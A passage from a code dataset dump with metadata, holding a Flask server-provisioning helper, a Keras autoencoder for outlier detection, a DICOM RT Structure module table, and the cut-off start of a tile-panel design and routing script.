%H:%M:%S\", localtime()), apply.applier, 0)\n db.session.add(server)\n db.session.commit()\n\n if ret:\n try:\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.connect((app.config['DNS_SERVER'], 9991))\n sock.send('COMMAND 10')\n sock.close()\n except:\n flash(u'重载DNS失败，请联系管理员！', 'error')\n subject = \"您的机器已经创建完毕，请验收\"\n content = \"%s%s\" % (app.config['HOST'], url_for('apply.detail', apply_id=apply.id))\n send_mail(user_dict[apply.applier].email, subject, content)\n\n return ret\n\n\ndef delete_vm(vm_id):\n try:\n req = urllib2.Request(\"%s/compute/%d\" % (app.config['APC_URL'], vm_id))\n req.add_header('Authorization', app.config['APC_AUTH'])\n req.get_method = lambda: 'DELETE'\n urllib2.urlopen(req)\n return True\n except:\n return False\n\n\ndef delete_zeus_item(zeus_id):\n try:\n ZeusItem.query.filter(ZeusItem.id==zeus_id).delete()\n ZeusNetwork.query.filter(ZeusNetwork.item_id==zeus_id).delete()\n return True\n except:\n return False\n\n\ndef send_mail(receiver, subject, content):\n msg = MIMEMultipart()\n msg['From'] = \"%s<%s>\" % (Header('服务器申请系统','utf-8'), app.config['SENDER'])\n msg['To'] = receiver\n msg['Subject'] = Header(subject, charset='UTF-8')\n\n txt = MIMEText(content, _subtype='html', _charset='UTF-8')\n msg.attach(txt)\n\n try:\n smtpObj = smtplib.SMTP(app.config['SMTP_HOST'], app.config['SMTP_PORT'])\n smtpObj.sendmail(app.config['SENDER'], receiver, msg.as_string())\n smtpObj.quit()\n return True\n except:\n return False\n", "repo_name": "cash2one/server-apply", "sub_path": "sa/getter.py", "file_name": "getter.py", "file_ext": "py", "file_size_in_byte": 6979, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sa.models.UserDB.query.all", "line_number": 25, "usage_type": "call"}, {"api_name": "sa.models.UserDB.query", "line_number": 25, "usage_type": "attribute"}, {"api_name": "sa.models.UserDB", "line_number": 25, "usage_type": "name"}, {"api_name": "hashlib.md5", "line_number": 27, "usage_type": "call"}, {"api_name": "urllib.urlencode", "line_number": 28, "usage_type": "call"}, {"api_name": "sa.models.ZeusUser.query.all", "line_number": 36, "usage_type": "call"}, {"api_name": "sa.models.ZeusUser.query", "line_number": 36, "usage_type": "attribute"}, {"api_name": "sa.models.ZeusUser", "line_number": 36, "usage_type": "name"}, {"api_name": "sa.models.Stype.query.all", "line_number": 43, "usage_type": "call"}, {"api_name": "sa.models.Stype.query", "line_number": 43, "usage_type": "attribute"}, {"api_name": "sa.models.Stype", "line_number": 43, "usage_type": "name"}, {"api_name": "sa.models.Approver.query.all", "line_number": 53, "usage_type": "call"}, {"api_name": "sa.models.Approver.query", "line_number": 53, "usage_type": "attribute"}, {"api_name": "sa.models.Approver", "line_number": 53, "usage_type": "name"}, {"api_name": "sa.models.Smodel.query.all", "line_number": 65, "usage_type": "call"}, {"api_name": "sa.models.Smodel.query", "line_number": 65, "usage_type": "attribute"}, {"api_name": "sa.models.Smodel", "line_number": 65, "usage_type": "name"}, {"api_name": "sa.models.Server.query.all", "line_number": 81, "usage_type": "call"}, {"api_name": "sa.models.Server.query", "line_number": 81, "usage_type": "attribute"}, {"api_name": "sa.models.Server", "line_number": 81, "usage_type": "name"}, {"api_name": "sa.models.Sapply.query.all", "line_number": 94, "usage_type": "call"}, {"api_name": "sa.models.Sapply.query", "line_number": 94, "usage_type": "attribute"}, {"api_name": "sa.models.Sapply", "line_number": 94, "usage_type": "name"}, {"api_name": "xml.dom.minidom.parseString", "line_number": 106, "usage_type": "call"}, {"api_name": "xml.dom", "line_number": 106, "usage_type": "argument"}, {"api_name": "xml.dom.minidom", "line_number": 106, "usage_type": "name"}, {"api_name": "sa.models.ZeusUser", "line_number": 112, "usage_type": "call"}, {"api_name": "sa.db.session.add", "line_number": 113, "usage_type": "call"}, {"api_name": "sa.db.session", "line_number": 113, "usage_type": "attribute"}, {"api_name": "sa.db", "line_number": 113, "usage_type": "name"}, {"api_name": "sa.db.session.commit", "line_number": 114, "usage_type": "call"}, {"api_name": "sa.db.session", "line_number": 114, "usage_type": "attribute"}, {"api_name": "sa.db", "line_number": 114, "usage_type": "name"}, {"api_name": "sa.models.ZeusItem", "line_number": 117, "usage_type": "call"}, {"api_name": "sa.db.session.add", "line_number": 118, "usage_type": "call"}, {"api_name": "sa.db.session", "line_number": 118, "usage_type": "attribute"}, {"api_name": "sa.db", "line_number": 118, "usage_type": "name"}, {"api_name": "sa.db.session.commit", "line_number": 119, "usage_type": "call"}, {"api_name": "sa.db.session", "line_number": 119, "usage_type": "attribute"}, {"api_name": "sa.db", "line_number": 119, "usage_type": "name"}, {"api_name": "sa.models.ZeusNetwork", "line_number": 121, "usage_type": "call"}, {"api_name": "sa.db.session.add", "line_number": 122, "usage_type": "call"}, {"api_name": "sa.db.session", "line_number": 122, "usage_type": "attribute"}, {"api_name": "sa.db", "line_number": 122, "usage_type": "name"}, {"api_name": "sa.db.session.commit", "line_number": 123, "usage_type": "call"}, {"api_name": "sa.db.session", "line_number": 123, "usage_type": "attribute"}, {"api_name": "sa.db", "line_number": 123, "usage_type": "name"}, {"api_name": "sa.models.Sapply.query.get", "line_number": 132, "usage_type": "call"}, {"api_name": "sa.models.Sapply.query", "line_number": 132, "usage_type": "attribute"}, {"api_name": "sa.models.Sapply", "line_number": 132, "usage_type": "name"}, {"api_name": "re.search", "line_number": 138, "usage_type": "call"}, {"api_name": "sa.app.config", "line_number": 144, "usage_type": "attribute"}, {"api_name": "sa.app", "line_number": 144, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 144, "usage_type": "call"}, {"api_name": "sa.app.config", "line_number": 145, "usage_type": "attribute"}, {"api_name": "sa.app", "line_number": 145, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 145, "usage_type": "call"}, {"api_name": "re.search", "line_number": 148, "usage_type": "call"}, {"api_name": "sa.db.session.add", "line_number": 152, "usage_type": "call"}, {"api_name": "sa.db.session", "line_number": 152, "usage_type": "attribute"}, {"api_name": "sa.db", "line_number": 152, "usage_type": "name"}, {"api_name": "sa.db.session.commit", "line_number": 153, "usage_type": "call"}, {"api_name": "sa.db.session", "line_number": 153, "usage_type": "attribute"}, {"api_name": "sa.db", "line_number": 153, "usage_type": "name"}, {"api_name": "sa.models.Sapply.query.get", "line_number": 163, "usage_type": "call"}, {"api_name": "sa.models.Sapply.query", "line_number": 163, "usage_type": "attribute"}, {"api_name": "sa.models.Sapply", "line_number": 163, "usage_type": "name"}, {"api_name": "sa.models.Server.query.filter", "line_number": 164, "usage_type": "call"}, {"api_name": "sa.models.Server.query", "line_number": 164, "usage_type": "attribute"}, {"api_name": "sa.models.Server", "line_number": 164, "usage_type": "name"}, {"api_name": "sa.models.Server.apply_id", "line_number": 164, "usage_type": "attribute"}, {"api_name": "urllib2.Request", "line_number": 169, "usage_type": "call"}, {"api_name": "sa.app.config", "line_number": 169, "usage_type": "attribute"}, {"api_name": "sa.app", "line_number": 169, "usage_type": "name"}, {"api_name": "sa.app.config", "line_number": 170, "usage_type": "attribute"}, {"api_name": "sa.app", "line_number": 170, "usage_type": "name"}, {"api_name": "urllib2.urlopen", "line_number": 174, "usage_type": "call"}, {"api_name": "xml.dom.minidom.parseString", "line_number": 179, "usage_type": "call"}, {"api_name": "xml.dom.minidom", "line_number": 179, "usage_type": "name"}, {"api_name": "sa.models.Server", "line_number": 183, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 184, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 184, "usage_type": "call"}, {"api_name": "sa.db.session.add", "line_number": 185, "usage_type": "call"}, {"api_name": "sa.db.session", "line_number": 185, "usage_type": "attribute"}, {"api_name": "sa.db", "line_number": 185, "usage_type": "name"}, {"api_name": "sa.db.session.commit", "line_number": 186, "usage_type": "call"}, {"api_name": "sa.db.session", "line_number": 186, "usage_type": "attribute"}, {"api_name": "sa.db", "line_number": 186, "usage_type": "name"}, {"api_name": "socket.socket", "line_number": 190, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 190, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 190, "usage_type": "attribute"}, {"api_name": "sa.app.config", "line_number": 191, "usage_type": "attribute"}, {"api_name": "sa.app", "line_number": 191, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 195, "usage_type": "call"}, {"api_name": "sa.app.config", "line_number": 197, "usage_type": "attribute"}, {"api_name": "sa.app", "line_number": 197, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 197, "usage_type": "call"}, {"api_name": "urllib2.Request", "line_number": 205, "usage_type": "call"}, {"api_name": "sa.app.config", "line_number": 205, "usage_type": "attribute"}, {"api_name": "sa.app", "line_number": 205, "usage_type": "name"}, {"api_name": "sa.app.config", "line_number": 206, "usage_type": "attribute"}, {"api_name": "sa.app", "line_number": 206, "usage_type": "name"}, {"api_name": "urllib2.urlopen", "line_number": 208, "usage_type": "call"}, {"api_name": "sa.models.ZeusItem.query.filter", "line_number": 216, "usage_type": "call"}, {"api_name": "sa.models.ZeusItem.query", "line_number": 216, "usage_type": "attribute"}, {"api_name": "sa.models.ZeusItem", "line_number": 216, "usage_type": "name"}, {"api_name": "sa.models.ZeusItem.id", "line_number": 216, "usage_type": "attribute"}, {"api_name": "sa.models.ZeusNetwork.query.filter", "line_number": 217, "usage_type": "call"}, {"api_name": "sa.models.ZeusNetwork.query", "line_number": 217, "usage_type": "attribute"}, {"api_name": "sa.models.ZeusNetwork", "line_number": 217, "usage_type": "name"}, {"api_name": "sa.models.ZeusNetwork.item_id", "line_number": 217, "usage_type": "attribute"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 224, "usage_type": "call"}, {"api_name": "email.Header.Header", "line_number": 225, "usage_type": "call"}, {"api_name": "sa.app.config", "line_number": 225, "usage_type": "attribute"}, {"api_name": "sa.app", "line_number": 225, "usage_type": "name"}, {"api_name": "email.Header.Header", "line_number": 227, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 229, "usage_type": "call"}, {"api_name": "smtplib.SMTP", "line_number": 233, "usage_type": "call"}, {"api_name": "sa.app.config", "line_number": 233, "usage_type": "attribute"}, {"api_name": "sa.app", "line_number": 233, "usage_type": "name"}, {"api_name": "sa.app.config", "line_number": 234, "usage_type": "attribute"}, {"api_name": "sa.app", "line_number": 234, "usage_type": "name"}]} {"seq_id": "32721325915", "text": "from keras.models import Model, Sequential\nfrom keras.layers import Input, Dropout, Dense\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\nfrom base_neural_network import BaseNeuralNetwork\n\n\nclass AutoencoderNetwork(BaseNeuralNetwork):\n def __init__(self, output_dir, **kwargs):\n self.num_features = kwargs['num_features']\n super(AutoencoderNetwork, self).__init__(output_dir=output_dir, **kwargs)\n\n def _load_model(self):\n inputs = Input((self.num_features,), name='inputs')\n\n dense1 = Dense(int(self.num_features / 2), activation=\"sigmoid\")(inputs)\n\n dense2 = Dense(int(self.num_features / 3), activation=\"sigmoid\")(dense1)\n\n dense3 = Dense(int(self.num_features / 2), activation=\"sigmoid\")(dense2)\n\n dense4 = Dense(self.num_features, activation=\"sigmoid\")(dense3)\n\n self.model = Model(inputs=inputs, outputs=dense4)\n\n self._compile()\n\n def train(self, training_dataset, validation_dataset):\n return super(AutoencoderNetwork, self).train((training_dataset[0],training_dataset[0]),(validation_dataset[0],validation_dataset[0]))\n\n def visualize(self, **kwargs):\n\n X_outliers = kwargs['X_outliers']\n X_validation = kwargs['X_validation']\n y_pred_outliers = kwargs['y_pred_outliers']\n y_pred_validation = kwargs['y_pred_validation']\n\n euclidian_distance_outliers = np.linalg.norm(X_outliers - y_pred_outliers, axis=1)\n euclidian_distance_validation = np.linalg.norm(X_validation - y_pred_validation, axis=1)\n\n plt.title('Euclidian distance')\n plt.ylabel('X - y_pred')\n plt.xlabel('Instance number')\n plt.plot(euclidian_distance_outliers, 'ro', euclidian_distance_validation, 'bo')\n\n plt.show()", "repo_name": "lschirmer/outliers_detection", "sub_path": "models/autoencoder.py", "file_name": "autoencoder.py", "file_ext": "py", "file_size_in_byte": 1754, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "base_neural_network.BaseNeuralNetwork", "line_number": 10, "usage_type": "name"}, {"api_name": "keras.layers.Input", "line_number": 16, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 18, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 20, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 22, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 24, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 40, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 41, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.title", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}]} {"seq_id": "71789558305", "text": "import enum\nfrom typing import NamedTuple\n\n\nclass AttributeType(enum.Enum):\n \"\"\"DICOM Data Element attribute requirement types.\n\n See \n \"\"\"\n\n REQUIRED = \"1\"\n CONDITIONALLY_REQUIRED = \"1C\"\n REQUIRED_EMPTY_IF_UNKNOWN = \"2\"\n CONDITIONALLY_REQUIRED_EMPTY_IF_UNKNOWN = \"2C\"\n OPTIONAL = \"3\"\n\n\nclass Usage(str, enum.Enum):\n \"\"\"DICOM module usage requirements\n\n See the usage column within\n \n \"\"\"\n\n MANDATORY = \"M\"\n USER_OPTIONAL = \"U\"\n\n\nclass Inheritance(str, enum.Enum):\n \"\"\"Whether or not a given module should be inherited from the\n original CT series, or if it should be created fresh within the\n new RT Structure file.\n \"\"\"\n\n CREATE = \"create\"\n INHERIT = \"inherit\"\n\n\nclass ModuleOptions(NamedTuple):\n \"\"\"The options for a given module.\n\n Used to represent the following table:\n https://dicom.nema.org/medical/dicom/current/output/chtml/part03/sect_A.19.3.html#table_A.19.3-1\n \"\"\"\n\n usage: Usage\n inheritance: Inheritance\n\n\n# Encoding of the RT Structure Set IOD Modules table. Original table\n# available at:\n# \nRTSTRUCT_DICOM_MODULES = {\n # IE Patient\n \"patient\": ModuleOptions(Usage.MANDATORY, Inheritance.INHERIT),\n \"clinical-trial-subject\": ModuleOptions(Usage.USER_OPTIONAL, Inheritance.INHERIT),\n # IE Study\n \"general-study\": ModuleOptions(Usage.MANDATORY, Inheritance.INHERIT),\n \"patient-study\": ModuleOptions(Usage.USER_OPTIONAL, Inheritance.INHERIT),\n \"clinical-trial-study\": ModuleOptions(Usage.USER_OPTIONAL, Inheritance.INHERIT),\n # IE Series\n \"rt-series\": ModuleOptions(Usage.MANDATORY, Inheritance.CREATE),\n \"clinical-trial-series\": ModuleOptions(Usage.USER_OPTIONAL, Inheritance.CREATE),\n # IE Equipment\n \"general-equipment\": ModuleOptions(Usage.MANDATORY, Inheritance.CREATE),\n # IE Frame of Reference\n \"frame-of-reference\": ModuleOptions(Usage.USER_OPTIONAL, Inheritance.INHERIT),\n # IE Structure Set\n \"structure-set\": ModuleOptions(Usage.MANDATORY, Inheritance.CREATE),\n \"roi-contour\": ModuleOptions(Usage.MANDATORY, Inheritance.CREATE),\n \"rt-roi-observations\": ModuleOptions(Usage.MANDATORY, Inheritance.CREATE),\n \"approval\": ModuleOptions(Usage.USER_OPTIONAL, Inheritance.CREATE),\n \"general-reference\": ModuleOptions(Usage.USER_OPTIONAL, Inheritance.CREATE),\n \"sop-common\": ModuleOptions(Usage.MANDATORY, Inheritance.CREATE),\n \"common-instance-reference\": ModuleOptions(Usage.USER_OPTIONAL, Inheritance.CREATE),\n}\n", "repo_name": "OpenSaMD/OpenSaMD", "sub_path": "src/python/rai/rai/dicom/_inheritance.py", "file_name": "_inheritance.py", "file_ext": "py", "file_size_in_byte": 2740, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 20, "dataset": "github-code", "pt": "7", "api": [{"api_name": "enum.Enum", "line_number": 5, "usage_type": "attribute"}, {"api_name": "enum.Enum", "line_number": 18, "usage_type": "attribute"}, {"api_name": "enum.Enum", "line_number": 29, "usage_type": "attribute"}, {"api_name": "typing.NamedTuple", "line_number": 39, "usage_type": "name"}]} {"seq_id": "74194678970", "text": "import argparse\nimport json\nimport logging\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom matplotlib import colormaps\nimport numpy as np\nimport pathlib\nimport shutil\nimport sys\nimport textwrap\nimport time\nimport traceback\nimport wp3\n\n# Remove interaction buttons to prevent the user change the canvas accidentally.\nmpl.rcParams[\"toolbar\"] = \"None\"\n\nlogger = logging.getLogger(\"wp3_designer\")\n\n\ndef main():\n # Get configuration file and working directory.\n output_dir, settings = wp3.open_project()\n logger.info(f\"Working on project '{output_dir.name}'.\")\n\n # Extract a list of materials.\n materials_list = wp3.load_materials(settings)\n\n # Load a design from the settings, if this is available.\n initial_tiling = settings[\"panels\"].get(\"initial_tiling\")\n logger.info(\n \"Loaded initial tiling from 'config.yaml'.\"\n if initial_tiling is not None\n else \"No initial tiling found in loaded settings.\"\n )\n\n # Load the requested Tile sub-class.\n TileClass = wp3.Tile.load_tile_type(settings[\"panels\"][\"tiles\"])\n\n # Create a 'cad' directory within the project and export STLs inside it.\n cad_save_path = output_dir.joinpath(\"cad\")\n logger.debug(f\"Creating directory '{cad_save_path}'.\")\n cad_save_path.mkdir(parents=True, exist_ok=True)\n stl_exported = TileClass(\n 0,\n 0,\n settings[\"panels\"][\"spacing\"],\n settings[\"panels\"][\"tiles\"].get(\"variant\", 0),\n ).export_stl(cad_save_path, **settings.get(\"freecad\", {}))\n logger.info(f\"STL export: {'success' if stl_exported else 'failure'}.\")\n\n # Fill the available design space with the chosen tiles.\n tiles = []\n for row in range(settings[\"panels\"][\"rows\"]):\n for col in range(settings[\"panels\"][\"columns\"]):\n tile = TileClass(\n row,\n col,\n settings[\"panels\"][\"spacing\"],\n settings[\"panels\"][\"tiles\"].get(\"variant\", 0),\n )\n tiles.append(tile)\n logger.debug(\n f\"Added new tile in (row, col) = ({row}, {col}). \"\n f\"Cartesian coordinates: ({tile.x}, {tile.y}).\"\n )\n # If an initial design is provided and this tile is not part of it,\n # make sure to hide it.\n if initial_tiling is not None and [row, col] not in initial_tiling:\n logger.debug(\n \"Hiding this tile as it is not part of the initial tiling.\"\n )\n tile.set_visible(False)\n\n # Calculate the dimensions of the canvas.\n canvas_width, canvas_height = wp3.get_bounding_box_size(tiles)\n logger.debug(f\"Canva's dimensions: {canvas_width} by {canvas_height}.\")\n\n # Create a figure to plot the tiles.\n fig, ax = wp3.tight_figure(tiles)\n\n # Place the tiles in the plot.\n wp3.add_tiles_to_axes(tiles, ax)\n\n # For each tile, create an event connection that toggles its visibility if\n # one clicks inside its patch.\n for tile in tiles:\n logger.debug(\n f\"Creating mpl connection for tile ({tile.row}, {tile.col}).\"\n )\n fig.canvas.mpl_connect(\n \"button_press_event\",\n lambda event, tile=tile: wp3.toggle_tile_if_clicked(\n event, tile, ax\n ),\n )\n\n # Create a connection to hide, show or toggle all tile visibilities at once\n # using the keyboard.\n fig.canvas.mpl_connect(\n \"key_press_event\", lambda event: wp3.toggle_all_tiles(event, tiles, ax)\n )\n\n # Detect when a figure is closed using an event connection.\n exit_helper = wp3.Struct(keep_running=True)\n fig.canvas.mpl_connect(\n \"close_event\", lambda event: setattr(exit_helper, \"keep_running\", False)\n )\n\n # Period and shift factor to color all tiles using a HSV wave.\n period = 4.0\n velocity = 0.005\n\n # Loop that changes the color of each tile and then updates the plot.\n # The loop will stop once the figure is closed.\n logger.debug(\"Entering main loop to select the tiles.\")\n while exit_helper.keep_running:\n for i, tile in enumerate(tiles):\n tile.patch.set_color(\n colormaps[\"hsv\"](((time.time() / period - i * velocity) % 1))\n )\n plt.pause(0.05)\n logger.debug(\"Designer window was closed by the user.\")\n\n # Collect all tiles (and their coordinates) in the chosen design.\n visible_tiles = []\n tiling_coordinates = []\n for tile in tiles:\n if tile.is_visible():\n visible_tiles.append(tile)\n tiling_coordinates.append([tile.row, tile.col])\n logger.debug(\n \"Initial tiling array (to be stored in 'config.yaml'):\"\n f\" {tiling_coordinates}.\"\n )\n\n # Store the current design in the YAML configuration file.\n wp3.update_initial_tiling(output_dir, settings, tiling_coordinates)\n\n # Read how many segments should be generated in the routing problem.\n segments = 1\n if settings.has(\"routing\", \"segments\") and settings.has(\n \"routing\", \"tiles_per_segment\"\n ):\n raise RuntimeError(\n \"Sorry, but the parameters 'routing/segments' and \"\n \"'routing/tiles_per_segment' should not be given at the same \"\n \"time. Please, update 'config.yaml' and re-launch the designer.\"\n )\n if settings.has(\"routing\", \"segments\"):\n segments = settings[\"routing\"][\"segments\"]\n logger.debug(f\"Found parameter 'routing/segments'; value: {segments}.\")\n elif settings.has(\"routing\", \"tiles_per_segment\"):\n tiles_per_segment = settings[\"routing\"][\"tiles_per_segment\"]\n segments = np.ceil(len(visible_tiles) / tiles_per_segment).astype(int)\n logger.debug(\n \"Found parameter 'routing/tiles_per_segment'; value:\"\n f\" {tiles_per_segment}.\"\n )\n\n # Setup the routing problem and generate an initial solution, either from\n # a pre-computed one or at random.\n logger.debug(f\"Creating routing problem with {segments} segments.\")\n routing = wp3.Routing(visible_tiles, segments=segments)\n best_routing = routing.random_sample()\n if settings.has(\"routing\", \"cache\"):\n cache = np.array(settings[\"routing\"][\"cache\"])\n logger.debug(f\"Loaded routing cache: {cache.tolist()}.\")\n if (\n cache.shape == best_routing.shape\n and cache[1].max() < routing.vertices_per_tile\n ):\n best_routing = cache\n else:\n logger.info(\n \"Loaded routing cache is not compatible with the \"\n \"current tiling. This might simply mean that routing \"\n \"was previously performed on a different design.\"\n )\n\n # Read routing parameters from the YAML configuration.\n routing_kwargs = settings.extract(\"routing\", {})\n\n # Remove parameters that are not to be passed to Routing.optimize.\n if \"cache\" in routing_kwargs:\n logger.debug(\"Removing parameter 'cache' from 'routing_kwargs'.\")\n routing_kwargs.pop(\"cache\")\n if \"segments\" in routing_kwargs:\n logger.debug(\"Removing parameter 'segments' from 'routing_kwargs'.\")\n routing_kwargs.pop(\"segments\")\n if \"tiles_per_segment\" in routing_kwargs:\n logger.debug(\n \"Removing parameter 'tiles_per_segment' from 'routing_kwargs'.\"\n )\n routing_kwargs.pop(\"tiles_per_segment\")\n logger.debug(f\"Routing keyword arguments: {routing_kwargs}.\")\n\n # Optimize cable connections (routing). This is done in a loop that roughly\n # looks like:\n # 1. Show current routing in a figure;\n # 2. If the user presses the space bar:\n # - Close the figure;\n # - Improve the solution;\n # - Go back to 1;\n # 3. If the user closes the routing window: exit.\n while True:\n # Create a figure to plot the tiles.\n fig, ax = wp3.tight_figure(visible_tiles)\n\n # Add visible tiles to the created Axis instance.\n wp3.add_tiles_to_axes(\n visible_tiles,\n ax,\n copy=True,\n patch_color=\"white\",\n border_color=\"lightgray\",\n )\n\n # Save the content of the figure so that one can try to manually draw a\n # routing if needed.\n design_file_name = output_dir.joinpath(\"wp3_design.pdf\")\n logger.debug(f\"Saving current design into '{design_file_name}'.\")\n fig.savefig(design_file_name, bbox_inches=\"tight\")\n\n # Add the proposed routing to the Axis.\n routing.plot_routing(best_routing, visible_tiles, ax)\n\n # Establish connections to be able to detect when the user presses the\n # space bar or closes the figure.\n logger.debug(\n \"Creating connections to detect when the user presses the \"\n \"space bar or closes the figure.\"\n )\n exit_helper = wp3.Struct(keep_running=True, reroute=False)\n fig.canvas.mpl_connect(\n \"key_press_event\",\n lambda event: setattr(exit_helper, \"reroute\", event.key == \" \"),\n )\n fig.canvas.mpl_connect(\n \"close_event\",\n lambda event: setattr(exit_helper, \"keep_running\", False),\n )\n\n # Loop that waits for user interaction.\n logger.debug(\n \"Waiting for the user to press the space bar or close the active\"\n \" figure.\"\n )\n while exit_helper.keep_running and not exit_helper.reroute:\n plt.pause(0.05)\n\n # Save the current routing into a figure, to make sure that it is safely\n # stored somewhere.\n routing_file_name = output_dir.joinpath(\"wp3_routing.pdf\")\n logger.debug(f\"Saving current routing into '{routing_file_name}'.\")\n fig.savefig(routing_file_name, bbox_inches=\"tight\", dpi=500)\n plt.close(\"all\")\n\n # Decide what to do depending on the user's choice.\n if exit_helper.reroute:\n # Try to improve the routing path.\n logger.debug(\"Rerouting requested.\")\n routing_cost_before = routing.evaluate_cost(best_routing)\n best_routing = routing.optimize(\n best_sample=best_routing, **routing_kwargs\n )\n routing_cost_after = routing.evaluate_cost(best_routing)\n print(\n \"Cost decreased by\",\n np.round(\n 100\n * (routing_cost_before - routing_cost_after)\n / routing_cost_before,\n 3,\n ),\n )\n else:\n # Routing completed!\n logger.debug(\"Figure closed: routing completed.\")\n break\n\n logger.info(\n \"Design and routing files have been saved into \"\n f\"'{design_file_name}' and '{routing_file_name}'.\"\n )\n\n # Store current routing.\n wp3.update_cached_routing(output_dir, settings, best_routing.tolist())\n\n # List of items to be purchased/manufactured.\n bill_of_materials = []\n\n # Add walls and joints to the list of materials.\n logger.info(\"Adding CAD components to the bill of materials.\")\n for part, quantity in TileClass.count_cad_parts(visible_tiles):\n bill_of_materials.append(\n wp3.BillItem(name=part, quantity=quantity, category=\"3D printed\")\n )\n\n # Process panel materials. The goal is, for each panel type, to evaluate how\n # many tiles can be inserted, or how much it costs to fill them (in case the\n # cost depends on the size).\n # TODO: it would be ideal to allow, for variable size materials, to let\n # the designer try with different sizes as well.\n panel_material_data = {}\n\n # Generated tiling files for all materials should be first saved into a\n # temporary file and then copied if needed.\n tiling_temp_dir = output_dir.joinpath(\"tiling_temp\")\n logger.debug(\n f\"Creating temporary directory '{tiling_temp_dir}' to store \"\n \"temporary tiling files.\"\n )\n tiling_temp_dir.mkdir(exist_ok=True)\n\n for layer_name, layer in materials_list[\"sheets\"].items():\n # Get the size of the current sheet.\n width, height = layer[\"size\"]\n logger.debug(\n f\"Processing material '{layer_name}' with dimensions\"\n f\" {width}x{height}.\"\n )\n\n # Try to fill the given sheet with all possible variants of the same\n # tile family.\n tilings = []\n for variant in TileClass.get_variants():\n logger.debug(f\"Tiling '{layer_name}' with variant {variant}.\")\n tiling = TileClass.fit_in_sheet(\n len(visible_tiles),\n 0,\n variant,\n width,\n height,\n )\n logger.debug(f\"Tiling completed, it contains {len(tiling)} tiles.\")\n if len(tiling) > 0:\n tilings.append(tiling)\n\n # If no tiling was possible, just skip this sheet.\n if len(tilings) == 0:\n logger.warn(f\"Could not fit any tile in {layer_name}.\")\n continue\n\n # Choose the best tiling variant. If the sheet has variable height,\n # the best variant is the one that minimizes the height of the sheet\n # itself. If the size is fixed, the best variant is the one that uses\n # the least amount of material per sheet. In both cases, evaluate the\n # height of the sheet and its cost.\n if height == np.inf:\n heights = np.array(\n [wp3.get_bounding_box_size(tiling)[1] for tiling in tilings]\n )\n idx = heights.argmin()\n bb_height = heights[idx]\n tiles_layer = tilings[idx]\n layer_cost = layer.get(\"cost\", 0) * bb_height\n logger.debug(\n f\"The sheet '{layer_name}' had variable size. After \"\n f\"tiling, the heights {heights} were calculated. The \"\n f\"optimal one (#{idx}) has height {bb_height} and \"\n f\"cost {layer_cost}.\"\n )\n else:\n areas = np.array(\n [wp3.get_bounding_box_area(tiling) for tiling in tilings]\n )\n idx = areas.argmin()\n tiles_layer = tilings[idx]\n layer_cost = layer.get(\"cost\", 0)\n bb_height = height\n logger.debug(\n f\"The sheet '{layer_name}' had fixed size. After \"\n f\"tiling, the covered areas {areas} were calculated. \"\n f\"The optimal one (#{idx}) has area {areas[idx]}.\"\n )\n\n # Store the details of this sheet for the cost optimization, performed\n # later in the script.\n panel_material_data[layer_name] = wp3.Struct(\n name=layer_name,\n value=len(tiles_layer),\n cost=layer_cost,\n variable_size=height == np.inf,\n height=bb_height,\n unit_cost=layer.get(\"cost\", 0),\n )\n\n # The figure is used to show how tiles should be cut from each sheet.\n fig, ax = plt.subplots()\n ax.set_aspect(\"equal\")\n ax.set_xlim(0, width)\n ax.set_ylim(0, bb_height)\n ax.set_title(layer_name)\n fig.tight_layout()\n\n # Change the visual properties of the patches edges.\n for tile in tiles_layer:\n tile.patch.set_linewidth(0.2)\n tile.patch.set_edgecolor(\"black\")\n\n # Add the patches to the figure.\n wp3.add_tiles_to_axes(tiles_layer, ax, patch_color=\"lightgray\")\n\n # Save the tiling into a file.\n temp_tiling_file_name = tiling_temp_dir.joinpath(\n f\"tiling_{layer_name}.pdf\"\n )\n logger.debug(f\"Saving temporary tiling in '{temp_tiling_file_name}'.\")\n fig.savefig(temp_tiling_file_name, bbox_inches=\"tight\")\n plt.close(\"all\")\n\n if settings.has(\"assembly\", \"sheets\"):\n # For each group of materials that can be used to manufacture the tiles,\n # evaluate the cheapest combination of articles that can be purchased.\n for i, materials in enumerate(settings[\"assembly\"][\"sheets\"]):\n logger.debug(f\"Processing 